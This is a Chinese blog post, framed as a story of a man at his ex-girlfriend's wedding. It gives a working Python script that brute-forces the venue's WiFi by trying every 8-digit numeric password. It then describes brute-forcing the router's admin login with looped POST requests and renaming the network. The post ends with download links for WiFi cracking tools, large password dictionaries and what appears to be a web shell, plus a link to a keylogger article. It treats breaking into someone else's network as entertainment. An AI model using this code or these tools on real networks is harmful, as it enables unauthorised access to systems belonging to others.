前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]python小哥哥,参加前女友婚礼,破解了婚礼现场的WIFI,还把WiFi的名称给改成了。。。

大家好,又见面了,我是你们的朋友全栈君。

大家好,我是Lex 喜欢欺负超人那个Lex

擅长领域:python开发、网络安全渗透、Windows域控Exchange架构

今日重点:① python暴力拿下WiFi密码;②python拿下路由器管理页面

代码干货满满,建议收藏+实操!!!有问题及需要,请留言哦~~

上次的故事是这样的

前女友发来加密的 “520快乐.pdf“,我用python打开之后,却发现。。。

事情是这样的

小哥哥还是来到了婚礼现场

在一个背靠角落的桌子前坐下

耳朵里塞满了 幸福到听不清的嘈杂声

闪烁的灯光刺痛着 昨夜失眠到 有点发红的双眼

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

一股莫名的感觉直往上冲

默默,掏出了笔记本 python开发工具

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]
现场的WiFi名称叫:”婚礼第一大厅”

python破解WiFi密码

1、安装pywifi和comtypes 两个模块

pip install pywifi

pip install comtypes

PS C:\Users\pacer> pip install pywifi

Collecting pywifi
  Downloading pywifi-1.1.12-py3-none-any.whl (15 kB)
Installing collected packages: pywifi
Successfully installed pywifi-1.1.12

PS C:\Users\pacer> pip install comtypes

Collecting comtypes
  Downloading comtypes-1.1.10.tar.gz (145 kB)
     |████████████████████████████████| 145 kB 12 kB/s
Using legacy 'setup.py install' for comtypes, since package 'wheel' is not installed.
Installing collected packages: comtypes
    Running setup.py install for comtypes ... done
Successfully installed comtypes-1.1.10
PS C:\Users\pacer>

2、生成8位密码

假设WiFi密码为8位纯数字

for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)

3、完整代码

使用pywifi模块,将wifi名称、密码配置进去,进行尝试。

import time
import pywifi
from pywifi import const

for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)
    profile = pywifi.Profile()
    profile.ssid ='婚礼第一大厅' #wifi名称 
    profile.auth = const.AUTH_ALG_OPEN #验证方式
    profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式
    profile.cipher = const.CIPHER_TYPE_CCMP    #加密类型
    profile.key=pwd
    wifi = pywifi.PyWiFi()

    iface = wifi.interfaces()[0]
    wedding = iface.add_network_profile(profile)
    #尝试连接
    iface.connect(wedding)
    time.sleep(3)
    if iface.status() == const.IFACE_CONNECTED:
        print('连接成功')
        break
    else:
        print('密码不对,连接失败,好气哦~~')

连接成功

一段时间后,连接成功。

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

拿到wifi密码之后

拿下路由器

1、路由器管理地址

路由器管理页面登录地址一般都是,192.168.0.1 或者 192.168.1.1访问路由器的链接地址。

http://192.168.0.1/

2、路由器登录提交分析

通过页面提交密码测试,发现密码是明文提交服务器验证的。

如下图

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

3、循环提交请求

通过循环提交路由器登录密码,通过工具post循环提交路由器的登录密码。

成功登录,拿下路由器

修改WIFI的名称

登录路由器界面,修改“婚礼第一大厅”WIFI名称

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

故事结尾

一切结束了,站起身,最后看了一眼

在交相辉映的灯光下

大大的合照上,手捧着鲜花 那张放肆笑着的脸

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

WiFi名改好了,告辞~

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

——————THE END————————-

【渗透测试相关工具下载】

brutecrack工具[WIFIPR中文版]及wpa/wpa2字典

https://download.csdn.net/download/weixin_42350212/13721381

Kali字典文件/纯数字/电话号码/弱/常用/Wifi等各种类型字典【解压后共计60G+字典文件】

https://download.csdn.net/download/weixin_42350212/13668542

【kali常用工具】brutecrack工具[WIFIPR中文版]及wpa/wpa2字典
https://download.csdn.net/download/weixin_42350212/13721381

【kali常用工具】EWSA 5.1.282-破包工具
https://download.csdn.net/download/weixin_42350212/13704097

【kali常用工具】Realtek 8812AU KALI网卡驱动及安装教程
https://download.csdn.net/download/weixin_42350212/13703770

【kali常用工具】无线信号搜索工具_kali更新
https://download.csdn.net/download/weixin_42350212/13703729

【kali常用工具】inssider信号测试软件_kali常用工具
https://download.csdn.net/download/weixin_42350212/13703705

【kali常用工具】MAC地址修改工具 保护终端不暴露
https://download.csdn.net/download/weixin_42350212/13703597

【kali常用工具】脚本管理工具 php和jsp页面 接收命令参数 在服务器端执行
https://download.csdn.net/download/weixin_42350212/13754997

【kali常用工具】上网行为监控工具       
https://download.csdn.net/download/weixin_42350212/13985799

【kali常用工具】抓包工具Charles Windows64位 免费版
https://download.csdn.net/download/weixin_42350212/15898652

【kali常用工具】图印工具stamp.zip
https://download.csdn.net/download/weixin_42350212/14980915

CSDN官方学习推荐 ↓ ↓ ↓

CSDN出的Python全栈知识图谱,太强了,推荐给大家!

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

推荐阅读

python实战

【python实战】前女友发来加密的 “520快乐.pdf“,我用python破解开之后,却发现。。。

【python实战】昨晚,我用python帮隔壁小姐姐P证件照 自拍,然后发现

【python实战】女友半夜加班发自拍 python男友用30行代码发现惊天秘密

【python实战】python你TM太皮了——区区30行代码就能记录键盘的一举一动

python实战】女神相册密码忘记了,我只用Python写了20行代码~~~

pygame系列文章

一起来学pygame吧 游戏开发30例(二)——塔防游戏

一起来学pygame吧 游戏开发30例(四)——俄罗斯方块小游戏

一起来学pygame吧 游戏开发30例(五)——消消乐 小游戏

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/131331.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • QT QMap介绍与使用「建议收藏」

    QT QMap介绍与使用「建议收藏」Qt中的QMap介绍与使用,在坛子里逛了一圈,发现在使用QMap中,出现过很多的问题,Map是一个很有用的数据结构。它以“键-值”的形式保存数据。在使用的时候,通过提供字符标示(键)即可得到想要的数据。这个“数据”即可以是一个字符串,也可以是任意对象,当然也包括自己定义的类对象。说明:map是以值传递的形式保存数据的。1.基本应用下面以“键-值”都是QString的例子说明QMa

  • javascript 取整,取余数

    javascript 取整,取余数1.丢弃小数部分,保留整数部分parseInt(5/2)22.向上取整,有小数,则整数部分加1Math.ceil(5/2)33.四舍五入Math.round(5/2)34.向下取整Math.floor(5/2)2取余数0%401%412%42

  • android:ListView排序[通俗易懂]

    android:ListView排序[通俗易懂]
    Android:ListView排序

    ListView通过适配器得到内容数据,可以对数据list先排序再提供给ListView:
    privateList>getData(){
    List>list=newArrayList>();
    //addData…
    //对list进行排序

  • 云服务器和虚拟主机哪个好?两者有什么优缺点?「建议收藏」

    云服务器和虚拟主机哪个好?两者有什么优缺点?「建议收藏」云服务器和虚拟主机哪个好?两者有什么优缺点?想必有好多网站站长和中小型企业都被这个问题所困惑。现在小杜就来讲一讲云服务器和虚拟主机分别的特征和差异,小杜我相信大家看完本文后,就不会再被这样的问题所困惑了。云服务器云服务类似于传统的独立主机一样,它有自身独立的IP和宽带资源的,而且云服务器自身带有防火墙等防御工具。可是它不同于传统的独立主机,它可以按照使用者的需求量来增加或是降低服务器的配置,而且可以按照所需所用租用,而且租用云主机建立网站的成本,比传统独立主机建立要低好多。优点:它有独立的IP,独立

  • webpack css_webpack打包css文件路径

    webpack css_webpack打包css文件路径css文件处理-准备工作(以下项目配置都是基于上一篇webpack(4)的基础上)在项目开发中,我们必然需要添加很多的样式,而样式我们往往写到一个单独的文件中。这里我们就在src目录中创建一个n

  • icmp回复报文_ICMP报文和ping命令[通俗易懂]

    icmp回复报文_ICMP报文和ping命令[通俗易懂]一、ping的原理ping程序是用来探测主机到主机之间是否可通信,如果不能ping到某台主机,表明不能和这台主机建立连接。ping使用的是ICMP协议,它发送icmp回送请求消息给目的主机。ICMP协议规定:目的主机必须返回ICMP回送应答消息给源主机。如果源主机在一定时间内收到应答,则认为主机可达。二、Ping工作过程——假定主机A的IP地址是192.168.1.1,主机B的IP地址是192….

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号